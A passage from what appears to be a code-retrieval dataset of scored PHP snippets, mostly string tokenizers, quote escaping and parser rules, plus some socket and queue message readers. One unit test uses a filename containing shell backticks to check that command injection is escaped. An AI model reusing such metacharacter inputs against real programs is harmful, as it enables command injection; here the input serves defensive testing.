"b2e35df0f90e6c91f5821ca0462377b6", "score": "0.44168356", "text": "function mSTRING_LITERAL_LONG2(){\n try {\n $_type = Erfurt_Sparql_Parser_Sparql10_Sparql10_Tokenizer::$STRING_LITERAL_LONG2;\n $_channel = Erfurt_Sparql_Parser_Sparql10_Sparql10_Tokenizer::$DEFAULT_TOKEN_CHANNEL;\n // Tokenizer.g:394:3: ( '\\\"\\\"\\\"' ( options {greedy=false; } : ( '\\\"' | '\\\"\\\"' )? (~ ( '\\\"' | '\\\\\\\\' ) | ECHAR | UNICODE_CHAR ) )* '\\\"\\\"\\\"' ) \n // Tokenizer.g:395:3: '\\\"\\\"\\\"' ( options {greedy=false; } : ( '\\\"' | '\\\"\\\"' )? (~ ( '\\\"' | '\\\\\\\\' ) | ECHAR | UNICODE_CHAR ) )* '\\\"\\\"\\\"' \n {\n $this->matchString(\"\\\"\\\"\\\"\"); \n\n // Tokenizer.g:396:3: ( options {greedy=false; } : ( '\\\"' | '\\\"\\\"' )? (~ ( '\\\"' | '\\\\\\\\' ) | ECHAR | UNICODE_CHAR ) )* \n //loop25:\n do {\n $alt25=2;\n $LA25_0 = $this->input->LA(1);\n\n if ( ($LA25_0==$this->getToken('34')) ) {\n $LA25_1 = $this->input->LA(2);\n\n if ( ($LA25_1==$this->getToken('34')) ) {\n $LA25_3 = $this->input->LA(3);\n\n if ( ($LA25_3==$this->getToken('34')) ) {\n $alt25=2;\n }\n else if ( (($LA25_3>=$this->getToken('0') && $LA25_3<=$this->getToken('33'))||($LA25_3>=$this->getToken('35') && $LA25_3<=$this->getToken('65535'))) ) {\n $alt25=1;\n }\n\n\n }\n else if ( (($LA25_1>=$this->getToken('0') && $LA25_1<=$this->getToken('33'))||($LA25_1>=$this->getToken('35') && $LA25_1<=$this->getToken('65535'))) ) {\n $alt25=1;\n }\n\n\n }\n else if ( (($LA25_0>=$this->getToken('0') && $LA25_0<=$this->getToken('33'))||($LA25_0>=$this->getToken('35') && $LA25_0<=$this->getToken('65535'))) ) {\n $alt25=1;\n }\n\n\n switch ($alt25) {\n \tcase 1 :\n \t // Tokenizer.g:397:5: ( '\\\"' | '\\\"\\\"' )? (~ ( '\\\"' | '\\\\\\\\' ) | ECHAR | UNICODE_CHAR ) \n \t {\n \t // Tokenizer.g:397:5: ( '\\\"' | '\\\"\\\"' )? \n \t $alt23=3;\n \t $LA23_0 = $this->input->LA(1);\n\n \t if ( ($LA23_0==$this->getToken('34')) ) {\n \t $LA23_1 = $this->input->LA(2);\n\n \t if ( ($LA23_1==$this->getToken('34')) ) {\n \t $alt23=2;\n \t }\n \t else if ( (($LA23_1>=$this->getToken('0') && $LA23_1<=$this->getToken('33'))||($LA23_1>=$this->getToken('35') && $LA23_1<=$this->getToken('65535'))) ) {\n \t $alt23=1;\n \t }\n \t }\n \t switch ($alt23) {\n \t case 1 :\n \t // Tokenizer.g:398:7: '\\\"' \n \t {\n \t $this->matchChar(34); \n\n \t }\n \t break;\n \t case 2 :\n \t // Tokenizer.g:399:9: '\\\"\\\"' \n \t {\n \t $this->matchString(\"\\\"\\\"\"); \n\n\n \t }\n \t break;\n\n \t }\n\n \t // Tokenizer.g:401:5: (~ ( '\\\"' | '\\\\\\\\' ) | ECHAR | UNICODE_CHAR ) \n \t $alt24=3;\n \t $LA24_0 = $this->input->LA(1);\n\n \t if ( (($LA24_0>=$this->getToken('0') && $LA24_0<=$this->getToken('33'))||($LA24_0>=$this->getToken('35') && $LA24_0<=$this->getToken('91'))||($LA24_0>=$this->getToken('93') && $LA24_0<=$this->getToken('65535'))) ) {\n \t $alt24=1;\n \t }\n \t else if ( ($LA24_0==$this->getToken('92')) ) {\n \t $LA24_2 = $this->input->LA(2);\n\n \t if ( ($LA24_2==$this->getToken('34')||$LA24_2==$this->getToken('39')||$LA24_2==$this->getToken('92')||$LA24_2==$this->getToken('98')||$LA24_2==$this->getToken('102')||$LA24_2==$this->getToken('110')||$LA24_2==$this->getToken('114')||$LA24_2==$this->getToken('116')) ) {\n \t $alt24=2;\n \t }\n \t else if ( ($LA24_2==$this->getToken('117')) ) {\n \t $alt24=3;\n \t }\n \t else {\n \t $nvae = new NoViableAltException(\"\", 24, 2, $this->input);\n\n \t throw $nvae;\n \t }\n \t }\n \t else {\n \t $nvae = new NoViableAltException(\"\", 24, 0, $this->input);\n\n \t throw $nvae;\n \t }\n \t switch ($alt24) {\n \t case 1 :\n \t // Tokenizer.g:402:7: ~ ( '\\\"' | '\\\\\\\\' ) \n \t {\n \t if ( ($this->input->LA(1)>=$this->getToken('0') && $this->input->LA(1)<=$this->getToken('33'))||($this->input->LA(1)>=$this->getToken('35') && $this->input->LA(1)<=$this->getToken('91'))||($this->input->LA(1)>=$this->getToken('93') && $this->input->LA(1)<=$this->getToken('65535')) ) {\n \t $this->input->consume();\n\n \t }\n \t else {\n \t $mse = new MismatchedSetException(null,$this->input);\n \t $this->recover($mse);\n \t throw $mse;}\n\n\n \t }\n \t break;\n \t case 2 :\n \t // Tokenizer.g:406:9: ECHAR \n \t {\n \t $this->mECHAR(); \n\n \t }\n \t break;\n \t case 3 :\n \t // Tokenizer.g:406:17: UNICODE_CHAR \n \t {\n \t $this->mUNICODE_CHAR(); \n\n \t }\n \t break;\n\n \t }\n\n\n \t }\n \t break;\n\n \tdefault :\n \t break 2;//loop25;\n }\n } while (true);\n\n $this->matchString(\"\\\"\\\"\\\"\"); \n\n\n }\n\n $this->state->type = $_type;\n $this->state->channel = $_channel;\n }\n catch(Exception $e){\n throw $e;\n }\n }", "title": "" }, { "docid": "d40c08872e7bf22b9dd2d83d22f82684", "score": "0.4408916", "text": "function cleanupExpression(&$expression)\n {\n $expression = trim($expression, \" \\t\");\n $lastDouble = substr($expression, -2);\n $firstDouble = substr($expression, 0, 2);\n\n $last = substr($expression, -1);\n if ($last == \")\") {\n $expression = substr($expression, 0, -1);\n }\n\n if ($lastDouble == \"}}\") {\n $expression = substr($expression, 0, -2);\n }\n if ($firstDouble == \"{{\") {\n $expression = substr($expression, 2);\n }\n }", "title": "" }, { "docid": "6bccf1955fe792b49a503a3105cf9a96", "score": "0.44046855", "text": "function yy_r23(){\n $this->_retvalue = self::escape_end_tag($this->yystack[$this->yyidx + 0]->minor);\n }", "title": "" }, { "docid": "0f7116795231f95e04d6c4a3e57655de", "score": "0.44027027", "text": "function yy_r57(){\n $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -1]->minor.'close',array());\n }", "title": "" }, { "docid": "7ad843e36755481db8557ce0c3b45eaf", "score": "0.44024393", "text": "function yy_r13(){\n if ($this->strip) {\n $this->_retvalue = new _smarty_text($this, preg_replace('![\\t ]*[\\r\\n]+[\\t ]*!', '', $this->yystack[$this->yyidx + 0]->minor));\n } else {\n $this->_retvalue = new _smarty_text($this, $this->yystack[$this->yyidx + 0]->minor);\n }\n }", "title": "" }, { "docid": "b13305101dacf6c7caba7e8b21aef42a", "score": "0.4398807", "text": "function mSTR(){\n try {\n $_type = Erfurt_Sparql_Parser_Sparql10_Sparql10_Tokenizer::$STR;\n $_channel = Erfurt_Sparql_Parser_Sparql10_Sparql10_Tokenizer::$DEFAULT_TOKEN_CHANNEL;\n // Tokenizer.g:156:3: ( 'str' ) \n // Tokenizer.g:157:3: 'str' \n {\n $this->matchString(\"str\"); \n\n\n }\n\n $this->state->type = $_type;\n $this->state->channel = $_channel;\n }\n catch(Exception $e){\n throw $e;\n }\n }", "title": "" }, { "docid": "85ffb2a0292cb5dd315fc97d1674402a", "score": "0.43953392", "text": "function mECHAR(){\n try {\n // Tokenizer.g:414:3: ( '\\\\\\\\' ( 't' | 'b' | 'n' | 'r' | 'f' | '\\\\\\\\' | '\\\"' | '\\\\'' ) ) \n // Tokenizer.g:415:3: '\\\\\\\\' ( 't' | 'b' | 'n' | 'r' | 'f' | '\\\\\\\\' | '\\\"' | '\\\\'' ) \n {\n $this->matchChar(92); \n if ( $this->input->LA(1)==$this->getToken('34')||$this->input->LA(1)==$this->getToken('39')||$this->input->LA(1)==$this->getToken('92')||$this->input->LA(1)==$this->getToken('98')||$this->input->LA(1)==$this->getToken('102')||$this->input->LA(1)==$this->getToken('110')||$this->input->LA(1)==$this->getToken('114')||$this->input->LA(1)==$this->getToken('116') ) {\n $this->input->consume();\n\n }\n else {\n $mse = new MismatchedSetException(null,$this->input);\n $this->recover($mse);\n throw $mse;}\n\n\n }\n\n }\n catch(Exception $e){\n throw $e;\n }\n }", "title": "" }, { "docid": "e8ed4273b4142ade8e85135d4f296206", "score": "0.43931505", "text": "public function consumeString() {\n $l= substr(\n $this->buffer, \n $this->offset, \n strpos($this->buffer, ':', $this->offset)- $this->offset\n );\n $b= strlen($l)+ 2; // 1 for ':', 1 for '\"'\n $v= substr($this->buffer, $this->offset + $b, $l);\n $this->offset+= $b + $l + 2; // 1 for '\"', +1 to set the marker behind\n return $v;\n }", "title": "" }, { "docid": "ccb1af4b14d298bf3f5581cb6824c2c3", "score": "0.43897995", "text": "public function test(){\n\t return $this->output([\"quote\"=>\"I want to die with my blue jeans on. - Andy Warhol\"]);\n\t}", "title": "" }, { "docid": "1ce1c8020c3005c4beb0a25f0ae0d8ce", "score": "0.43724132", "text": "private static function getNextQuotedPrintableToken($str)\n {\n $token = '';\n if(substr($str, 0, 1) == \"=\") {\n $token = substr($str, 0, 3);\n } else {\n $token = substr($str, 0, 1);\n }\n return $token;\n }", "title": "" }, { "docid": "f784bb35cec4e53975986d596de15d23", "score": "0.43659732", "text": "function yy_r136(){$this->_retvalue = \"`\".$this->yystack[$this->yyidx + -1]->minor.\"`\"; }", "title": "" }, { "docid": "40db3e84f9a766b19a3378383bbb1a87", "score": "0.43645886", "text": "public function testBacktickOnFilenames()\n\t{\n\t\tif (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') $this->skip();\n\n\t\t$expected = \"The quick brown fox\\njumps over\\nthe lazy dog.\";\n\t\t$actual = (new TesseractOCR(\"{$this->imagesDir}/file`with`backtick.png\"))\n\t\t\t->executable($this->executable)\n\t\t\t->run();\n\t\t$this->assertEquals($expected, str_replace(PHP_EOL, \"\\n\", $actual));\n\t}", "title": "" }, { "docid": "0cac2dae494bb242567d7d39b0bd1ec2", "score": "0.4363959", "text": "function yy_r179(){\n $this->_retvalue = '&&';\n }", "title": "" }, { "docid": "7d4a732c03add1350260d2327d4b3d79", "score": "0.43516567", "text": "function yy_r98(){$this->_retvalue = ',\\''.$this->yystack[$this->yyidx + 0]->minor.'\\''; }", "title": "" }, { "docid": "e95c8115d30edd75c96d92b5afb1921c", "score": "0.43462512", "text": "function testEscapeJSValueAllTogether() {\n $in = \"\\xe2\\x80\\xa8some\\n random'string'\\r for this\\xe2\\x80\\xA9 thingy.\";\n $out = \"some\\\\n random\\\\'string\\\\'\\\\r for this thingy.\";\n $this->helperAssertEscapeJSValue($in, $out);\n }", "title": "" }, { "docid": "5003cfaadc6e5dfd7ea51c1540ac0858", "score": "0.43433335", "text": "function phpbb_preg_quote($str, $delimiter)\n{\n\t$text = preg_quote($str);\n\t$text = str_replace($delimiter, '\\\\' . $delimiter, $text);\n\t\n\treturn $text;\n}", "title": "" }, { "docid": "982bd3e2d9389ef521acff9f0d0b4ccf", "score": "0.43416554", "text": "function yy_r178(){\n $this->_retvalue = '&&';\n }", "title": "" }, { "docid": "bf3d1ad8bdc1750d5f3352d45872f87e", "score": "0.43410122", "text": "function add_double_quote($matches)\n{\n return $matches[1].'\"'.$matches[2].'\":';\n}", "title": "" }, { "docid": "1fcdba64adf9e0a9260ac8724df826de", "score": "0.43397987", "text": "function testBackslashSmiley() {\n $this->P->addMode('smiley',new Doku_Parser_Mode_Smiley(array(':-\\\\\\\\')));\n $this->P->parse('abc :-\\\\\\ xyz');\n\n $calls = array (\n array('document_start',array()),\n array('p_open',array()),\n array('cdata',array(\"\\n\".'abc ')),\n array('smiley',array(':-\\\\\\\\')),\n array('cdata',array(' xyz')),\n array('p_close',array()),\n array('document_end',array()),\n );\n\n $this->assertEquals(array_map('stripbyteindex',$this->H->calls),$calls);\n }", "title": "" }, { "docid": "3548056f869aa3194ddf9cc6ffda6899", "score": "0.43320128", "text": "function yy_r140(){\n $this->_retvalue = '\\''.$this->yystack[$this->yyidx + 0]->minor.'\\'';\n }", "title": "" }, { "docid": "a0b8b7d60a172c1056c715a97b62897b", "score": "0.43318513", "text": "public function processToken(Token $token): void\n {\n if ($token->id === T_IF && ($token->_prevCode->id ?? null) === T_ELSE) {\n return;\n }\n if ($token->id === T_ELSE && $token->_nextCode->id === T_IF) {\n $offset = 3;\n } elseif ($token->is(TokenType::HAS_STATEMENT_WITH_OPTIONAL_BRACES)) {\n $offset = 1;\n } else {\n $offset = 2;\n }\n\n /**\n * For reference, the following code prints \"11\" because the T_CLOSE_TAG\n * terminates the `while` structure:\n *\n * ```php\n * <?php\n * $i = 0;\n * while ($i++ < 10)\n * ?><?php\n * echo $i;\n * ```\n */\n $body = $token->nextSibling($offset);\n if ($body->IsNull ||\n $body->is([T_COLON, T_SEMICOLON, T_OPEN_BRACE, T_CLOSE_TAG])) {\n return;\n }\n\n $token->BodyIsUnenclosed = true;\n\n if ($token->prev()->id !== T_CLOSE_BRACE || !$token->continuesControlStructure()) {\n $token->WhitespaceBefore |= WhitespaceType::LINE;\n $token->WhitespaceMaskPrev |= WhitespaceType::LINE;\n $token->prev()->WhitespaceMaskNext |= WhitespaceType::LINE;\n }\n\n $body->WhitespaceBefore |= WhitespaceType::LINE | WhitespaceType::SPACE;\n $body->WhitespaceMaskPrev |= WhitespaceType::LINE;\n $body->WhitespaceMaskPrev &= ~WhitespaceType::BLANK;\n $body->prev()->WhitespaceMaskNext |= WhitespaceType::LINE;\n\n $end = null;\n $continues = false;\n if ($token->id === T_DO) {\n $continues = true;\n } elseif ($token->is([T_IF, T_ELSEIF])) {\n $end = $body->prevSibling()->nextSiblingOf(T_IF, T_ELSEIF, T_ELSE);\n if ($end->id === T_IF) {\n $end = $body->EndStatement;\n } elseif (!$end->IsNull) {\n $end = $end->prevCode();\n $continues = true;\n }\n }\n\n if (!$end || $end->IsNull || $end->Index > $body->EndStatement->Index) {\n $end = $body->pragmaticEndOfExpression(true)->withTerminator();\n }\n\n $body->collect($end)\n // Use PreIndent because StandardIndentation clobbers Indent\n ->forEach(fn(Token $t) => $t->PreIndent++);\n\n $end->WhitespaceAfter |= WhitespaceType::LINE | WhitespaceType::SPACE;\n $end->WhitespaceMaskNext |= WhitespaceType::LINE;\n if ($continues) {\n $end->WhitespaceMaskNext &= ~WhitespaceType::BLANK;\n $end->next()->WhitespaceMaskPrev |= WhitespaceType::LINE;\n }\n\n $this->Formatter->reportProblem(\n $this,\n 'Braces not used in %s control structure',\n $token,\n $end,\n $token->getTokenName()\n );\n }", "title": "" }, { "docid": "29e71fb803d411b57452bc0e784f89d3", "score": "0.43282974", "text": "public function saveTokenStr($token);", "title": "" }, { "docid": "34a09a6b9a528757e74f2bac75651d0d", "score": "0.43199405", "text": "function parseString($str,$context)\n {\n $this->tempContext=$context; \n return preg_replace_callback(\"/{\\%([^%]*)\\%}/\",array($this,\"psCallback\"),$str);\n }", "title": "" }, { "docid": "877619a9a91c737820785495569d30b2", "score": "0.4308605", "text": "private function parseString($value, &$i)\n {\n $isQuoted = $value[$i] === '\"';\n $endChars = $isQuoted ? ['\"'] : [',', ')'];\n $result = '';\n $length = strlen($value);\n for ($i += $isQuoted ? 1 : 0; $i < $length; ++$i) {\n if (in_array($value[$i], ['\\\\', '\"'], true) && in_array($value[$i + 1], [$value[$i], '\"'], true)) {\n ++$i;\n } elseif (in_array($value[$i], $endChars, true)) {\n break;\n }\n\n $result .= $value[$i];\n }\n\n $i -= $isQuoted ? 0 : 1;\n\n return $result;\n }", "title": "" }, { "docid": "ffcfeb979d2d37e6331bb9a01b632f79", "score": "0.4306084", "text": "public function process(File $phpcsFile, $stackPtr)\n\t{\n\t\t$tokens = $phpcsFile->getTokens();\n\t\t$string = $tokens[$stackPtr]['content'];\n\t\t// makes sure that it is about a double quote string,\n\t\t// since variables are not parsed out of double quoted string\n\t\t$openDblQtStr = substr($string, 0, 1);\n\t\tif (0 === strcmp($openDblQtStr, '\"')) {\n\t\t\t$this->processDoubleQuotedString($phpcsFile, $stackPtr, $string);\n\t\t} else if (0 === strcmp($openDblQtStr, \"'\")) {\n\t\t\t$this->processSingleQuotedString($phpcsFile, $stackPtr, $string);\n\t\t}\n\t}", "title": "" }, { "docid": "c45cef0bb2ee10568c3661f41d66ced0", "score": "0.43030584", "text": "abstract protected function write($string, $token);", "title": "" }, { "docid": "7f6af982a19d9a0df9521e0aa0c730d1", "score": "0.42877942", "text": "public function testItMatchesEof(): void\n {\n $token = new Token(null, new Location(1, 1));\n\n self::assertTrue($this->tokenMatcher->match_EOF($token));\n self::assertSame(TokenType::EOF, $token->match?->tokenType);\n }", "title": "" }, { "docid": "7663c8b66c38906c941d0474c58cee0e", "score": "0.42695218", "text": "function yy_r68(){\n $this->_retvalue = \"'\".$this->yystack[$this->yyidx + 0]->minor.\"'\";\n }", "title": "" }, { "docid": "5ff12a49ea73d13e7139ff516775b5f8", "score": "0.4267037", "text": "protected static function consumeWord( &$s ) {\n\t\t$orig = $s;\n\t\t$s = ltrim( $s );\n\t\t$token = substr( $s, 0, strcspn( $s, \" \\t\\n\\r({[\" ) );\n\t\tif ( !strlen( $token ) ) {\n\t\t\tthrow new WdqParseException( \"Expected token: $orig\" );\n\t\t}\n\t\t$s = ltrim( substr( $s, strlen( $token ) ) );\n\t\treturn $token;\n\t}", "title": "" }, { "docid": "077f68dba2931c0b10b3f92fd05b298f", "score": "0.4262677", "text": "function inPHP($string) {\n\t\tglobal $inTag;\n\t\t//needs parallel chks for Quotes....\n\t\tif($inTag == 1)\treturn true;\n\t\telse\treturn false;\n\t}", "title": "" }, { "docid": "95a2e7dc7c1fac4f7b0d0ea0ef39e0a4", "score": "0.4259674", "text": "public function testCleanModeNotMatchingTags2()\n {\n }", "title": "" }, { "docid": "d91a89751d2e32e8c8c32070fe806a58", "score": "0.42594638", "text": "private function extractDoubleQuotedText(StringIterator $string): string\n {\n if ($string->isNot(Tokens::DOUBLE_QUOTES)) {\n return '';\n }\n\n $entry = $string->current();\n $string->next();\n\n while ($string->isNot(Tokens::DOUBLE_QUOTES)) {\n //If the current char is a backslash, treat the next char as being escaped.\n if ($string->is(Tokens::BACKSLASH)) {\n $entry .= $string->current();\n $string->next();\n }\n $entry .= $string->current();\n $string->next();\n }\n\n return $entry;\n }", "title": "" }, { "docid": "55c99699a461507f1bb3ae281ccecc16", "score": "0.42593274", "text": "public function process(File $phpcsFile, $stackPtr)\n {\n // no variable are in the string from here\n $tokens = $phpcsFile->getTokens();\n $qtString = $tokens[$stackPtr]['content'];\n // makes sure that it is about a double quote string,\n // since variables are not parsed out of double quoted string\n $open_qt_str = substr($qtString, 0, 1);\n\n // clean the enclosing quotes\n $qtString = substr($qtString, 1, strlen($qtString) - 1 - 1);\n\n if (0 === strcmp($open_qt_str, '\"')) {\n $this->processDoubleQuotedString($phpcsFile, $stackPtr, $qtString);\n } else if (0 === strcmp($open_qt_str, \"'\")) {\n $this->processSingleQuotedString($phpcsFile, $stackPtr, $qtString);\n }\n }", "title": "" }, { "docid": "1bf22cafc11a947f70e171095dd1c04c", "score": "0.42546207", "text": "public function testStripCommaAsSecondCharacter($message, $result)\n {\n $this->assertSame($result, $this->stripper->strip($message));\n }", "title": "" }, { "docid": "700385602b580d60c787a86d6380bdea", "score": "0.42534328", "text": "function mCLOSE_BRACE(){\n try {\n $_type = Erfurt_Sparql_Parser_Sparql10_Sparql10_Tokenizer::$CLOSE_BRACE;\n $_channel = Erfurt_Sparql_Parser_Sparql10_Sparql10_Tokenizer::$DEFAULT_TOKEN_CHANNEL;\n // Tokenizer.g:642:3: ( ')' ) \n // Tokenizer.g:643:3: ')' \n {\n $this->matchChar(41); \n\n }\n\n $this->state->type = $_type;\n $this->state->channel = $_channel;\n }\n catch(Exception $e){\n throw $e;\n }\n }", "title": "" }, { "docid": "96d403cd7837a9c0e59a9dc82b3e42db", "score": "0.42502183", "text": "function yy_r51(){ $this->_retvalue = \"'\".$this->yystack[$this->yyidx + -1]->minor.\"'\"; }", "title": "" }, { "docid": "7291127e5cc37f4b8ab75453613adabd", "score": "0.42499235", "text": "function yy_r118(){$this->_retvalue = '!='; }", "title": "" }, { "docid": "3776eb3b15a4238c6b49ad25b41c988b", "score": "0.42473444", "text": "function caEscapeForDelimitedOutput($ps_text) {\n\t\treturn '\"'.str_replace(\"\\\"\", \"\\\"\\\"\", $ps_text).'\"';\n\t}", "title": "" }, { "docid": "998de459e841b9b454976ee23525a9b9", "score": "0.42430738", "text": "private function parseEnd($word, $key)\t{\r\n\t \r\n\t \r\n\t\tif($key!=\"\"){\r\n\t \tif(strpos($word,$key) !==false )\t{\r\n\t\t\treturn substr($word, mb_strlen($key)); \r\n\t\t}\r\n\t\t}\r\n\t\treturn \"\";\r\n\t}", "title": "" }, { "docid": "addbdc8002f63c2562151b278306078c", "score": "0.424254", "text": "public function isDoubleQuoted()\n {\n return $this->doubleQuoted;\n }", "title": "" }, { "docid": "ca3863c4255d9a9935d878779d285df9", "score": "0.4240017", "text": "function yy_r171(){\n $this->_retvalue = '!=';\n }", "title": "" }, { "docid": "bcdca93856cf40ac6d311cb49e2ad4dd", "score": "0.42388707", "text": "function isolate($target, $str) {\n\tif (preg_match('|\\\\'.$target.'\\s*?=(.+?);[ \\f\\v\\t]*[\\n\\r]|s', $str, $matches)) {\n\t\treturn $matches[0];\n\t}\n\treturn false;\n}", "title": "" }, { "docid": "4e01aa52df51bcf3745479f1eec3f340", "score": "0.42374474", "text": "public function testStringValidatorStartAndEndWhiteSpaceFalse()\n {\n $string = 'first string';\n $result = StringValidator::startAndEndWhiteSpace($string);\n\n $this->assertFalse($result);\n }", "title": "" }, { "docid": "a87a9b7d5c443bbe1877759513ce012d", "score": "0.42346725", "text": "function yy_r67(){\n $this->_retvalue = \"'\".$this->yystack[$this->yyidx + 0]->minor.\"'\";\n }", "title": "" }, { "docid": "e8e8da93abb4aa0d5f97f19424a15337", "score": "0.42321345", "text": "function yy_r139(){$this->_retvalue = \"'.(\".$this->yystack[$this->yyidx + -1]->minor.\").'\"; }", "title": "" }, { "docid": "d8d1a9321b21ed4495ab008b627015b7", "score": "0.42271847", "text": "public function escapeshellargsCorrectlyEscapesShellArguments()\n\t{\n\t\t$this->assertRegExp(\n\t\t\t'#^([\\'\"])foo'.PATH_SEPARATOR.'bar\\1$#',\n\t\t\tescapeshellarg('foo'.PATH_SEPARATOR.'bar')\n\t\t);\n\t}", "title": "" }, { "docid": "8c9bb51b3d3d3ee3a576dfe75f1b9105", "score": "0.42256966", "text": "function mCLOSE_SQUARE_BRACE(){\n try {\n $_type = Erfurt_Sparql_Parser_Sparql10_Sparql10_Tokenizer::$CLOSE_SQUARE_BRACE;\n $_channel = Erfurt_Sparql_Parser_Sparql10_Sparql10_Tokenizer::$DEFAULT_TOKEN_CHANNEL;\n // Tokenizer.g:667:3: ( ']' ) \n // Tokenizer.g:668:3: ']' \n {\n $this->matchChar(93); \n\n }\n\n $this->state->type = $_type;\n $this->state->channel = $_channel;\n }\n catch(Exception $e){\n throw $e;\n }\n }", "title": "" }, { "docid": "6bdbb21602861a6db6beec2b929806da", "score": "0.4214333", "text": "function mCLOSE_CURLY_BRACE(){\n try {\n $_type = Erfurt_Sparql_Parser_Sparql10_Sparql10_Tokenizer::$CLOSE_CURLY_BRACE;\n $_channel = Erfurt_Sparql_Parser_Sparql10_Sparql10_Tokenizer::$DEFAULT_TOKEN_CHANNEL;\n // Tokenizer.g:577:3: ( '}' ) \n // Tokenizer.g:578:3: '}' \n {\n $this->matchChar(125); \n\n }\n\n $this->state->type = $_type;\n $this->state->channel = $_channel;\n }\n catch(Exception $e){\n throw $e;\n }\n }", "title": "" } ]
02b08d06db87d4fcc9689765ec05f59f
Read a message synchronously, this is slow
[ { "docid": "689b5b2f8d3498204943534e0be0d797", "score": "0.7306508", "text": "public function readMessageSync()\n {\n // grab message\n $message = $this->getChannel()->basic_get($this->queue);\n\n // register as confirmed\n $this->getChannel()->basic_ack($message->delivery_info['delivery_tag']);\n\n if (!$message) {\n return false;\n }\n\n // acknowledge the message\n return json_decode($message->body);\n }", "title": "" } ]
[ { "docid": "4288f956061c1fac3337c374902d9c3a", "score": "0.69943744", "text": "public function readMessage() {\n $message = \"\";\n while (true) {\n socket_recv($this->socket, $buf, 4, MSG_WAITALL);\n if ($buf == null) {\n return $buf;\n }\n $frameSize = unpack(\"Nsize\", $buf);\n $frameSize = $frameSize[\"size\"];\n if ($frameSize == 0) {\n return $message;\n }\n socket_recv($this->socket, $buf, $frameSize, MSG_WAITALL);\n $message .= $buf;\n }\n return $message;\n }", "title": "" }, { "docid": "3be38ed2d29ad0d8bcb2055ea19910c1", "score": "0.6507896", "text": "function readmessage(){\n }", "title": "" }, { "docid": "10f0bd49a8cf9231f3761e794c81d6d4", "score": "0.6477119", "text": "public function poll() {\n\t\t$lastMessage = $this->memCache->get('writePointer');\n\t\tif ($this->readPointer === -1) {\n\t\t\t$this->readPointer = $lastMessage;\n\t\t}\n\n\t\tif ($lastMessage !== $this->readPointer) {\n\t\t\t$messageId = ($this->readPointer + 1) % self::BUFFER_SIZE;\n\t\t\t$message = $this->memCache->get($messageId);\n\t\t\tif (!$message) {\n\t\t\t\treturn self::RESULT_NO_MESSAGE;\n\t\t\t}\n\t\t\t$this->emit('Queue', 'message', [$message]);\n\t\t\t$this->readPointer = $messageId;\n\t\t\treturn self::RESULT_PROCESSED;\n\t\t} else {\n\t\t\treturn self::RESULT_NO_MESSAGE;\n\t\t}\n\t}", "title": "" }, { "docid": "9dc9ce957bc262a28fa36217b35a2588", "score": "0.6326784", "text": "function readMessage(&$fh, $timeout=5)\n {\n $buf = $this->readData($fh, $timeout);\n return ( $buf ? $this->decode($buf) : false );\n }", "title": "" }, { "docid": "a9e1ad4aa04d26817e125e819ca9c0d6", "score": "0.6283171", "text": "public function doRead()\n {\n $data = fread($this->stream, static::READ_CHUNK_SIZE);\n\n if ($data === '') {\n fclose($this->stream);\n $this->stream = null; //fclose() will only leave stream resource in unknown state\n\n } elseif ($this->isDegenerated === false) {\n $this->readBuffer .= $data;\n\n //For explanation read \"important note\" for processInputBuffer()\n //@formatter:off\n while ($this->processInputBuffer() === false);\n //@formatter:on\n }\n }", "title": "" }, { "docid": "01a3ba1667b477141cbcb4e23f391daa", "score": "0.62823856", "text": "public function Read() {\n \n $raw = @socket_read( $this->socket, 512, PHP_NORMAL_READ );\n if ($raw === FALSE) {\n slog( \"Failed to read; \". socket_strerror( socket_last_error( $this->socket ) ) );\n $this->Close();\n return false;\n }\n\n if ($this->buffer) $raw = $this->buffer.$raw;\n\n if (substr($raw,-1) != \"\\n\") {\n $this->buffer = $raw;\n return false;\n }\n\n _log( $raw = trim( $raw ), \"<-\" );\n $this->buffer = \"\";\n unset( $this->Message );\n $this->Message = new Message( trim($raw) );\n return true;\n\n }", "title": "" }, { "docid": "33ef9ff564ccc22c22a0a567b8142bcb", "score": "0.6238446", "text": "private function _read()\n {\n $read = array($this->_conn['read']);\n if (stream_select($read, $w = null, $x = null, self::TIMEOUT, 15) > 0) {\n unset($w, $e);\n if ($reply = fgets($this->_conn['read'])) {\n return $reply;\n } else {\n throw new \\Seraphp\\Exceptions\\IOException('No reply in FIFO');\n }\n } else {\n throw new \\Seraphp\\Exceptions\\IOException('FIFO read timed out!');\n }\n }", "title": "" }, { "docid": "93892e72dd0ff06ea31ca1b2f0d6c1b2", "score": "0.6167468", "text": "protected function readMessages()\n {\n $msgs = [];\n \n // Read something.\n if (false === $read = fread($this->socket, 2048)) {\n return false;\n }\n \n $this->currentProcessingMessage .= $read;\n // If we have a complete message, then return it. Save the rest for\n // later.\n while (($marker = strpos($this->currentProcessingMessage, Message::EOM))) {\n $msg = substr($this->currentProcessingMessage, 0, $marker);\n $this->currentProcessingMessage = substr(\n $this->currentProcessingMessage,\n $marker + strlen(Message::EOM)\n );\n $msgs[] = $msg;\n }\n\n return $msgs;\n }", "title": "" }, { "docid": "9fcfb9605ad705b279579ed74ec7f60c", "score": "0.6143979", "text": "function read() {}", "title": "" }, { "docid": "ab672cebc7d5aebd4dcb533e55d00129", "score": "0.61371094", "text": "public function readMessage()\n\t{\n\t\t$sessionId = Input::get('session_id');\n\t\t$messageId = Input::get('message_id');\n\t\tif(!$sessionId) {\n\t\t\treturn self::failure(2, 'Missing required parameter session_id');\n\t\t} else if(!$messageId) {\n\t\t\treturn self::failure(2, 'Missing required parameter message_id');\n\t\t} else {\n\t\t\t$user = $this->vastuser->getUserBySession($sessionId);\n\t\t\tif(!empty($user)){\n\t\t\t\t$user\t=\tcall_user_func_array('array_merge', $user);\n\t\t\t\t$this->readmessage->create(array(\n\t\t\t\t\t'message_id' => $messageId,\n\t\t\t\t\t'user_id' => $user['vast_user_id']\n\t\t\t\t));\n\t\t\t}\n\t\t\t$response = array(\n\t\t\t\t'result' => 'success'\n\t\t\t);\n\t\t\treturn Response::json($response);\n\t\t}\n\t}", "title": "" }, { "docid": "758c6267ee92b181b5ec87a95d16356c", "score": "0.6108693", "text": "private function read() {\n return fgets( $this->socket, 128 );\n }", "title": "" }, { "docid": "6584c18ad615e49cd3e8821dc8afd740", "score": "0.6038333", "text": "protected function read_message( $socket ) {\n\t\t$recv = socket_recv( $socket, $header, 4, MSG_WAITALL );\n\t\tif ( strlen( $header ) !== 4 )\n\t\t\tthrow new Exception( \"Prefork::read_message() failed receiving header\" );\n\t\t$length = current( unpack( 'N', $header ) );\n\t\t$recv = socket_recv( $socket, 